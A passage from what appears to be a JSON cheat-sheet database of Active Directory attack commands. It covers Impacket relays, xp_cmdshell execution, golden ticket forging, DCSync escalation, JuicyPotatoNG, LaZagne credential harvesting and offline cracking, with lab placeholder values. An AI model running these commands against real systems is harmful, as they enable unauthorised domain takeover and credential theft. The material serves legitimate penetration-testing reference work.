     "command": "# SQL authentication (mixed-mode / sa account)\nmssqlclient.py test.local/john:password123@10.10.10.1\n\n# Windows (domain) authentication over NTLM\nmssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth\n\n# Pass-the-hash with Windows auth\nmssqlclient.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 test.local/john@10.10.10.1 -windows-auth",
     "description": "mssqlclient.py from Impacket opens an interactive TDS session against a Microsoft SQL Server. It supports plain SQL logins (the local sa or a mixed-mode account) as well as Windows/domain authentication via -windows-auth, which forces NTLM instead of SQL auth. Pass-the-hash works by supplying -hashes LMHASH:NTHASH instead of a password. Use it as the entry point for all further MSSQL abuse (enumeration, xp_cmdshell, linked servers).\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tNT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server",
       "https://www.thehacker.recipes/ad/movement/mssql"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-MSSQLClient-XPCmdShell",
     "toolId": "wadcoms:Impacket-mssqlclient",
     "toolName": "Impacket-mssqlclient",
     "name": "Impacket-MSSQLClient-XPCmdShell",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Execution",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Exploitation",
       "PrivEsc"
     ],
     "command": "mssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth\n\n# At the SQL> prompt:\nSQL> enable_xp_cmdshell\nSQL> xp_cmdshell whoami\nSQL> disable_xp_cmdshell",
     "description": "Once connected with mssqlclient.py, the built-in enable_xp_cmdshell command flips the xp_cmdshell advanced option on (via sp_configure), and xp_cmdshell then runs arbitrary OS commands as the SQL Server service account. This requires sysadmin (or equivalent) on the instance. Disable it again with disable_xp_cmdshell to reduce footprint; enabling xp_cmdshell is noisy and commonly alerted on.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "MSSQL"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server",
       "https://www.thehacker.recipes/ad/movement/mssql/execution"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-AddComputer",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-AddComputer",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Execution",
       "Persistence"
     ],
     "nativeCategory": [
       "Exploitation",
       "Persistence"
     ],
     "command": "# Create a new computer account via the relayed session\npython3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --add-computer 'ATTACKER$' 'password123'",
     "description": "Impacket's ntlmrelayx.py relays authentication to LDAPS and, with --add-computer, creates a new attacker-controlled computer account in the directory. This abuses the default MachineAccountQuota of 10, which permits any authenticated domain user to add computer objects. The freshly created account (with a known password) becomes a foothold for follow-on RBCD or Shadow Credentials attacks. If a computername and password are omitted, ntlmrelayx generates a random machine name and password and prints them. LDAPS is required because adding a computer with a password sets attributes that the DC only permits over a signed/sealed channel.\n\nCommand Reference:\n\n\tTarget Domain Controller: dc.test.local\n\n\tNew computer account: ATTACKER$\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://www.thehacker.recipes/ad/movement/domain-settings/machineaccountquota",
       "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-DumpLAPS-ADCS",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-DumpLAPS-ADCS",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Discovery",
       "Credential Access",
       "Enumeration"
     ],
     "nativeCategory": [
       "Discovery",
       "Credential Access",
       "Enumeration"
     ],
     "command": "# Dump LAPS passwords and enumerate AD CS via the relayed LDAP session\npython3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --dump-laps --dump-adcs",
     "description": "Impacket's ntlmrelayx.py can leverage a relayed LDAP session for reconnaissance instead of a direct attack. --dump-laps reads and prints any LAPS-managed local administrator passwords (ms-Mcs-AdmPwd) that the relayed identity is permitted to read, and --dump-adcs enumerates AD CS enrollment services and certificate templates to help identify ESC1-ESC8 misconfigurations. Both are low-noise post-relay actions useful for expanding access after coercing a user or computer to authenticate. The amount of data returned depends entirely on the relayed principal's read permissions.\n\nCommand Reference:\n\n\tTarget Domain Controller: dc.test.local",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "LDAP",
       "ADCS"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://www.thehacker.recipes/ad/movement/ntlm/relay",
       "https://www.thehacker.recipes/ad/movement/credentials/dumping/laps"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-ESC8-ADCS",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-ESC8-ADCS",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Credential Access",
       "Exploitation"
     ],
     "command": "# Relay coerced DC auth to AD CS web enrollment (ESC8)\npython3 ntlmrelayx.py -t http://ca.test.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController",
     "description": "Impacket's ntlmrelayx.py relays coerced NTLM authentication to the Active Directory Certificate Services (AD CS) web enrollment endpoint (certsrv), abusing ESC8. HTTP enrollment interfaces do not enforce channel binding by default, so a relayed machine or user authentication can request a certificate on behalf of the coerced account. When a Domain Controller's machine account is coerced (via PetitPotam or the printer bug) and relayed against the DomainController template, the resulting certificate authenticates as the DC and enables full domain compromise. The --adcs flag enables the attack and --template selects the certificate template (Machine/DomainController for computers, User for users). ntlmrelayx prints the issued certificate as a base64 PFX for use with PKINIT.\n\nCommand Reference:\n\n\tAD CS enrollment endpoint: http://ca.test.local/certsrv/certfnsh.asp\n\n\tTemplate: DomainController",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "ADCS"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://posts.specterops.io/certified-pre-owned-d95910965cd2",
       "https://www.thehacker.recipes/ad/movement/adcs/relay"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-EscalateUser",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-EscalateUser",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Grant existing user 'john' DCSync rights via relayed privileged auth\npython3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --escalate-user john",
     "description": "Impacket's ntlmrelayx.py relays authentication from a privileged victim to LDAP/LDAPS and, with --escalate-user, grants the named existing user the ability to perform a DCSync by writing replication (Replicating Directory Changes) ACEs onto the domain object. This is used when you already control a low-privileged user account and can coerce a privileged principal (for example a Domain Admin session or a DC machine account) to authenticate to your relay. Unlike --add-computer, this modifies an existing account you already own rather than creating a new one, which is useful in environments where MachineAccountQuota is 0.\n\nCommand Reference:\n\n\tTarget Domain Controller: dc.test.local\n\n\tUser to escalate: john",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://www.thehacker.recipes/ad/movement/ntlm/relay",
       "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-Interactive",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-Interactive",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Lateral Movement",
       "Collection",
       "Execution"
     ],
     "nativeCategory": [
       "Lateral Movement",
       "Collection",
       "Exploitation"
     ],
     "command": "# Relay to SMB and open an interactive client shell\npython3 ntlmrelayx.py -t smb://10.10.10.1 -smb2support -i\n# In another terminal, connect to the spawned session\nnc 127.0.0.1 11000",
     "description": "Impacket's ntlmrelayx.py can hold a relayed SMB session open and expose it as an interactive client rather than running a single command. With -i (--interactive), each successful relay spawns an interactive SMB shell bound to a local TCP port (starting at 11000); connect to it with netcat to browse shares, upload/download files, and read data as the relayed user. This is useful when you want hands-on access to the target's filesystem instead of blind command execution, and pairs with a coercion primitive (PetitPotam, printerbug, dementor) to feed authentications into the relay.\n\nCommand Reference:\n\n\tTarget IP: 10.10.10.1\n\n\tLocal interactive port: 11000",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "SMB"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://www.thehacker.recipes/ad/movement/ntlm/relay",
       "https://www.praetorian.com/blog/active-directory-computer-account-smb-relaying-attack"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-RBCD",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-RBCD",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Execution",
       "Privilege Escalation"
     ],
     "nativeCategory": [
       "Exploitation",
       "PrivEsc"
     ],
     "command": "# Relay coerced machine auth to LDAPS and configure RBCD on the victim object\n# (auto-creates a computer account to delegate from when you hold MachineAccountQuota)\npython3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --delegate-access",
     "description": "Impacket's ntlmrelayx.py relays coerced NTLM authentication from a victim computer to LDAPS on the Domain Controller. With --delegate-access it writes the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the relayed computer object, granting an attacker-controlled account Resource-Based Constrained Delegation (RBCD) over it. After the relay, getST.py can request a Service Ticket impersonating any user (including a Domain Admin) to the victim. This requires an account to delegate to (create one first with --add-computer or Impacket's addcomputer.py) and a coercion primitive such as PetitPotam or the printer bug to force the victim's machine account to authenticate. LDAPS is preferred because RBCD writes require a channel not protected by LDAP signing.\n\nCommand Reference:\n\n\tTarget Domain Controller: dc.test.local\n\n\tAttacker computer account: ATTACKER$",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/",
       "https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-NTLMRelayX-ShadowCredentials",
     "toolId": "wadcoms:Impacket-ntlmrelayx",
     "toolName": "Impacket-ntlmrelayx",
     "name": "Impacket-NTLMRelayX-ShadowCredentials",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Persistence",
       "Credential Access",
       "Execution"
     ],
     "nativeCategory": [
       "Persistence",
       "Credential Access",
       "Exploitation"
     ],
     "command": "# Add a Key Credential to the target account via relayed write access\npython3 ntlmrelayx.py -t ldaps://dc.test.local -smb2support --shadow-credentials --shadow-target 'DC01$'",
     "description": "Impacket's ntlmrelayx.py relays authentication to LDAP/LDAPS and, with --shadow-credentials, performs a Shadow Credentials attack by writing a new Key Credential into the target's msDS-KeyCredentialLink attribute. This adds an attacker-controlled certificate/key pair to the account, allowing later PKINIT authentication to obtain a TGT (and the account's NT hash via UnPAC-the-hash) without changing its password. --shadow-target selects which principal to backdoor; the relayed identity must have write access (GenericWrite/GenericAll) to that object. The attack requires the domain to support Key Trust (a KDC with PKINIT, i.e. an AD CS PKI or Server 2016+). ntlmrelayx saves the generated certificate so you can authenticate with it afterwards using gettgtpkinit.py or PKINITtools.\n\nCommand Reference:\n\n\tTarget Domain Controller: dc.test.local\n\n\tShadow target account: DC01$",
     "mitre": [],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "NTLM",
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py",
       "https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab",
       "https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-owneredit",
     "toolId": "wadcoms:Impacket-owneredit",
     "toolName": "Impacket-owneredit",
     "name": "Impacket-owneredit",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution",
       "Persistence"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation",
       "Persistence"
     ],
     "command": "# Set john as the owner of the victim object\nowneredit.py -action 'write' -new-owner 'john' -target 'victim' -dc-ip 10.10.10.1 'test.local/john:password123'",
     "description": "Impacket's owneredit.py reads or changes the owner set in an object's security descriptor over LDAP. Because the owner has implicit WriteDacl, `-action write -new-owner` lets you seize ownership of a target you hold WriteOwner over, then combine it with dacledit.py to grant yourself full control. Use `-action read` first to record the original owner for cleanup. Together owneredit + dacledit reproduce the WriteOwner-to-takeover chain on Linux.\n\nCommand Reference:\n\n\tDC IP: 10.10.10.1\n\n\tDomain: test.local\n\n\tUsername: john\n\n\tPassword: password123\n\n\tNew owner: john\n\n\tTarget object: victim",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://www.thehacker.recipes/ad/movement/dacl/grant-ownership",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-RaiseChild",
     "toolId": "wadcoms:Impacket-raiseChild",
     "toolName": "Impacket-raiseChild",
     "name": "Impacket-RaiseChild",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Privilege Escalation",
       "Lateral Movement",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Lateral Movement",
       "Exploitation"
     ],
     "command": "# Escalate from child-domain admin to forest root via ExtraSid golden ticket\nraiseChild.py test.local/john:password123",
     "description": "Impacket raiseChild.py automates child-domain-to-forest-root privilege escalation by abusing the intra-forest trust. Given Domain Admin credentials in a child domain it DCSyncs the child krbtgt, forges a golden ticket with an Enterprise Admins ExtraSid from the forest root, and uses it to compromise the parent, optionally executing a command on the root DC. Requires child-domain administrative credentials.\n\nCommand Reference:\n\n\tChild domain: test.local\n\n\tUsername: john\n\n\tPassword: password123",
     "mitre": [],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://www.thehacker.recipes/ad/movement/domain-trusts/child-parent",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/sid-history-injection"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-TicketConverter",
     "toolId": "wadcoms:Impacket-ticketConverter",
     "toolName": "Impacket-ticketConverter",
     "name": "Impacket-TicketConverter",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Collection",
       "Defense Evasion"
     ],
     "nativeCategory": [
       "Collection",
       "Defense Evasion"
     ],
     "command": "# kirbi -> ccache (for Impacket)\nticketConverter.py ticket.kirbi out.ccache\n\n# ccache -> kirbi (for Rubeus/Mimikatz)\nticketConverter.py out.ccache ticket.kirbi",
     "description": "Impacket ticketConverter.py converts between the .kirbi format (used by Mimikatz and Rubeus) and the .ccache format (used by Impacket and MIT Kerberos), in either direction, based on the input file extension. This bridges Windows and Linux tooling: dump a TGT with Rubeus, convert it, and reuse it from an Impacket workflow (or vice versa). It performs no network activity.\n\nCommand Reference:\n\n\tInput ticket: ticket.kirbi\n\n\tOutput ticket: out.ccache",
     "mitre": [],
     "requires": [
       "TGT"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/pass-the-ticket",
       "https://www.thehacker.recipes/ad/movement/kerberos/ptt"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Impacket-Ticketer-AES",
     "toolId": "wadcoms:Impacket-ticketer",
     "toolName": "Impacket-ticketer",
     "name": "Impacket-Ticketer-AES",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Persistence",
       "Execution"
     ],
     "nativeCategory": [
       "Persistence",
       "Exploitation"
     ],
     "command": "# Forge an AES golden ticket -> administrator.ccache\nticketer.py -aesKey 5db474e563f34e4bb62e04eecd4a6f92 -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain test.local administrator\n\n# Use it\nexport KRB5CCNAME=administrator.ccache",
     "description": "Impacket ticketer.py forges golden (or silver) tickets offline; supplying -aesKey signs the ticket with the krbtgt AES256 key instead of the RC4/NT hash, producing an AES-encrypted TGT that blends in with modern Kerberos traffic. The resulting .ccache can be exported to KRB5CCNAME and used by any Impacket tool for pass-the-ticket. Requires the krbtgt AES key and the domain SID.\n\nCommand Reference:\n\n\tAES256 key: 5db474e563f34e4bb62e04eecd4a6f92\n\n\tDomain SID: S-1-5-21-1339291983-1349129144-367733775\n\n\tDomain: test.local\n\n\tTarget user: administrator",
     "mitre": [
       "T1558.001"
     ],
     "requires": [
       "AES_Key"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/fortra/impacket",
       "https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket",
       "https://attack.mitre.org/techniques/T1558/001/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:John-keepass2john",
     "toolId": "wadcoms:John",
     "toolName": "John",
     "name": "John-keepass2john",
     "source": "DAEMON",
     "platform": [
       "Linux"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# extract the master-key hash from the .kdbx\nkeepass2john Database.kdbx > hashes.txt\n\n# crack the master password\njohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt\n\njohn --show hashes.txt",
     "description": "KeePass databases (.kdbx) looted from a share or a compromised host are frequent sources of privileged credentials. John the Ripper's keepass2john helper converts the database master-key parameters into a crackable hash, which john then attacks with a wordlist. It handles both password-only and keyfile-protected databases (pass the keyfile with -k). Fully offline; a recovered master password opens every secret in the vault.\n\nCommand Reference:\n\n\tKeePass DB: Database.kdbx\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1555.005"
     ],
     "requires": [
       "No_Creds"
     ],
     "references": [
       "https://github.com/openwall/john",
       "https://hashcat.net/wiki/doku.php?id=example_hashes",
       "https://attack.mitre.org/techniques/T1555/005/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:John-pfx2john",
     "toolId": "wadcoms:John",
     "toolName": "John",
     "name": "John-pfx2john",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access"
     ],
     "nativeCategory": [
       "Credential Access"
     ],
     "command": "# extract the crackable hash from the .pfx\npfx2john cert.pfx > hashes.txt\n\n# crack the passphrase (john auto-detects the pfx format)\njohn --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt\n\njohn --show hashes.txt",
     "description": "A password-protected PKCS#12 certificate store (.pfx / .p12) recovered during collection can be opened offline. John the Ripper's pfx2john helper extracts the encryption parameters into a crackable hash, which john then brute-forces against a wordlist. Recovering the passphrase unlocks the private key and certificate, which can be used for PKINIT/Schannel authentication (e.g. via certipy or Rubeus). Runs entirely offline with no target interaction.\n\nCommand Reference:\n\n\tPFX File: cert.pfx\n\n\tHash File: hashes.txt\n\n\tWordlist: /usr/share/wordlists/rockyou.txt",
     "mitre": [
       "T1110.002"
     ],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "ADCS"
     ],
     "references": [
       "https://github.com/openwall/john",
       "https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate",
       "https://attack.mitre.org/techniques/T1110/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:JuicyPotatoNG-SeImpersonate",
     "toolId": "wadcoms:JuicyPotatoNG",
     "toolName": "JuicyPotatoNG",
     "name": "JuicyPotatoNG-SeImpersonate",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# -t * tries both token-creation APIs, -l sets the local COM server port\nJuicyPotatoNG.exe -t * -p \"C:\\Windows\\System32\\cmd.exe\" -a \"/c whoami\" -l 9999",
     "description": "JuicyPotatoNG revives the JuicyPotato DCOM abuse against modern Windows by using a specific CLSID and a local COM server on a non-default port to coerce a SYSTEM authentication, then impersonates the token. The -t flag selects the token API: 't' uses CreateProcessWithTokenW (needs SeImpersonatePrivilege), 'u' uses CreateProcessAsUserW (needs SeAssignPrimaryTokenPrivilege), and '*' tries both. It works on Windows 10 / Server 2019 and later where classic JuicyPotato was blocked. Requires SeImpersonate or SeAssignPrimaryToken on the service account.\n\nCommand Reference:\n\n\tPrivilege required: SeImpersonatePrivilege\n\n\tCOM listen port: 9999",
     "mitre": [],
     "requires": [
       "Shell"
     ],
     "services": [
       "DCOM"
     ],
     "references": [
       "https://github.com/antonioCoco/JuicyPotatoNG",
       "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/juicypotato"
     ],
     "added": true
   },
   {
     "id": "wadcoms:Krbrelayx-Unconstrained-TGT",
     "toolId": "wadcoms:Krbrelayx",
     "toolName": "Krbrelayx",
     "name": "Krbrelayx-Unconstrained-TGT",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Credential Access",
       "Privilege Escalation",
       "Execution"
     ],
     "nativeCategory": [
       "Credential Access",
       "PrivEsc",
       "Exploitation"
     ],
     "command": "# Export mode: capture forwarded TGTs using the unconstrained account's key\npython3 krbrelayx.py -aesKey 5db474e563f34e4bb62e04eecd4a6f92\n# Then coerce dc.test.local to authenticate (PetitPotam/printerbug) to drop a TGT ccache",
     "description": "krbrelayx.py by dirkjanm abuses Kerberos unconstrained delegation. When you control an account or computer configured with unconstrained delegation, any principal that authenticates to it via Kerberos forwards a usable TGT inside the ticket. Running krbrelayx.py with the account's key (AES key or NT hash) and no relay target puts it in export mode: it starts an SMB/HTTP listener, decrypts incoming Kerberos service tickets, and writes the embedded TGTs to ccache files on disk. Coercing a Domain Controller (via PetitPotam or the printer bug) to authenticate yields the DC's TGT, which can then be used with secretsdump.py for a full DCSync. This is the Kerberos analogue to NTLM relaying and bypasses SMB signing.\n\nCommand Reference:\n\n\tDelegation account AES256 key: 5db474e563f34e4bb62e04eecd4a6f92\n\n\tDomain Controller IP: 10.10.10.1\n\n\tOutput ccache: out.ccache",
     "mitre": [],
     "requires": [
       "AES_Key"
     ],
     "services": [
       "Kerberos"
     ],
     "references": [
       "https://github.com/dirkjanm/krbrelayx",
       "https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/",
       "https://www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained"
     ],
     "added": true
   },
   {
     "id": "wadcoms:LaZagne-All",
     "toolId": "wadcoms:LaZagne",
     "toolName": "LaZagne",
     "name": "LaZagne-All",
     "source": "DAEMON",
     "platform": [
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Credential Access",
       "Collection"
     ],
     "nativeCategory": [
       "Credential Access",
       "Collection"
     ],
     "command": "laZagne.exe all",
     "description": "LaZagne is an open-source credential harvester that walks dozens of local software modules - browsers, mail clients, Wi-Fi, LSA secrets, credential vaults, chats, databases, and more - and recovers stored passwords in one pass. The 'all' argument runs every module; results can be written to file with -oN (json), -oA (all formats), or -oJ. Some modules (LSA secrets, Wi-Fi) need administrator rights while browser and app creds are readable in the user's own context, making it a fast triage tool after initial access.\n\nCommand Reference:\n\n\tTarget host: local (current user context)",
     "mitre": [
       "T1555"
     ],
     "requires": [
       "Shell"
     ],
     "services": [
       "NTLM"
     ],
     "references": [
       "https://github.com/AlessandroZ/LaZagne",
       "https://book.hacktricks.xyz/windows-hardening/stealing-credentials",
       "https://attack.mitre.org/techniques/T1555/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:ldapdomaindump-Enum",
     "toolId": "wadcoms:ldapdomaindump",
     "toolName": "ldapdomaindump",
     "name": "ldapdomaindump-Enum",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Dump all domain objects (users, groups, computers, policy, trusts) to HTML/JSON/greppable files\nldapdomaindump -u 'test.local\\john' -p password123 -o output_dir ldap://10.10.10.1",
     "description": "ldapdomaindump (dirkjanm) authenticates to a Domain Controller over LDAP/LDAPS with any valid domain account and dumps the whole directory - users, groups, computers, domain policy, and trusts - into ready-to-read HTML tables plus machine-parsable JSON and greppable text. It is a fast first-pass inventory when you land your first set of credentials and want an offline overview of the domain before running heavier tooling. Output lands in the directory given with -o (default: current dir).\n\nCommand Reference:\n\n\tUsername: john\n\tPassword: password123\n\tDomain: test.local\n\tTarget DC IP: 10.10.10.1",
     "mitre": [
       "T1087.002"
     ],
     "requires": [
       "Username",
       "Password"
     ],
     "services": [
       "LDAP"
     ],
     "references": [
       "https://github.com/dirkjanm/ldapdomaindump",
       "https://book.hacktricks.xyz/network-services-pentesting/pentesting-ldap",
       "https://attack.mitre.org/techniques/T1087/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:ldapnomnom-UserEnum",
     "toolId": "wadcoms:ldapnomnom",
     "toolName": "ldapnomnom",
     "name": "ldapnomnom-UserEnum",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "Windows",
       "ActiveDirectory"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Anonymous, lockout-free username validation via cLDAP LDAP Ping; DCs auto-discovered from DNS\nldapnomnom --input usernames.txt --output output.txt --dnsdomain test.local",
     "description": "ldapnomnom (lkarlslund) anonymously bruteforces valid Active Directory usernames at very high speed by abusing cLDAP LDAP Ping (Netlogon) requests against Domain Controllers. Because a valid name produces a different response than an invalid one, existence can be confirmed without authenticating - so there are no failed logons and no account lockouts, making it far quieter than Kerberos pre-auth enumeration. Feed it a wordlist with --input and it writes the valid names to --output; --dnsdomain lets it auto-discover DCs via DNS. Ideal for pre-credential recon.\n\nCommand Reference:\n\n\tNo_Creds\n\tUsername wordlist: usernames.txt\n\tOutput file: output.txt\n\tDomain: test.local",
     "mitre": [
       "T1087.002"
     ],
     "requires": [
       "No_Creds"
     ],
     "services": [
       "LDAP",
       "Kerberos"
     ],
     "references": [
       "https://github.com/lkarlslund/ldapnomnom",
       "https://attack.mitre.org/techniques/T1087/002/"
     ],
     "added": true
   },
   {
     "id": "wadcoms:ldeep-Enum-All",
     "toolId": "wadcoms:ldeep",
     "toolName": "ldeep",
     "name": "ldeep-Enum-All",
     "source": "DAEMON",
     "platform": [
       "Linux",
       "ActiveDirectory",
       "Windows"
     ],
     "capability": [
       "Enumeration",
       "Discovery"
     ],
     "nativeCategory": [
       "Enumeration",
       "Discovery"
     ],
     "command": "# Collect everything into files prefixed 'output' (output_users.json, output_groups.json, ...)\nldeep ldap -u john -p password123 -d test.local -s ldap://10.10.10.1 all output",
     "description": "ldeep is an in-depth LDAP enumeration utility that ships dozens of focused subcommands (users, groups, memberships, trusts, GPOs, delegation, PSOs, and more) under its ldap mode. The all subcommand collects computers, domain_policy, zones, gpo, groups, ou, users, trusts and pso in one pass and writes each to files prefixed with the base name you supply. Run it with any valid domain account when you want a complete, structured snapshot of the directory to grep offline. Individual subcommands (e.g. ldeep ldap ... trusts) can be run afterward for targeted queries.\n\nCommand Reference:\n\n\tUsername: john\n\tPassword: password123\n\tDomain: test.local\n\tTarget DC IP: 10.10.10.1",
     "mitre": [
       "T1087.002"
     ],
     "requires": [
       "Username",
       "Password"
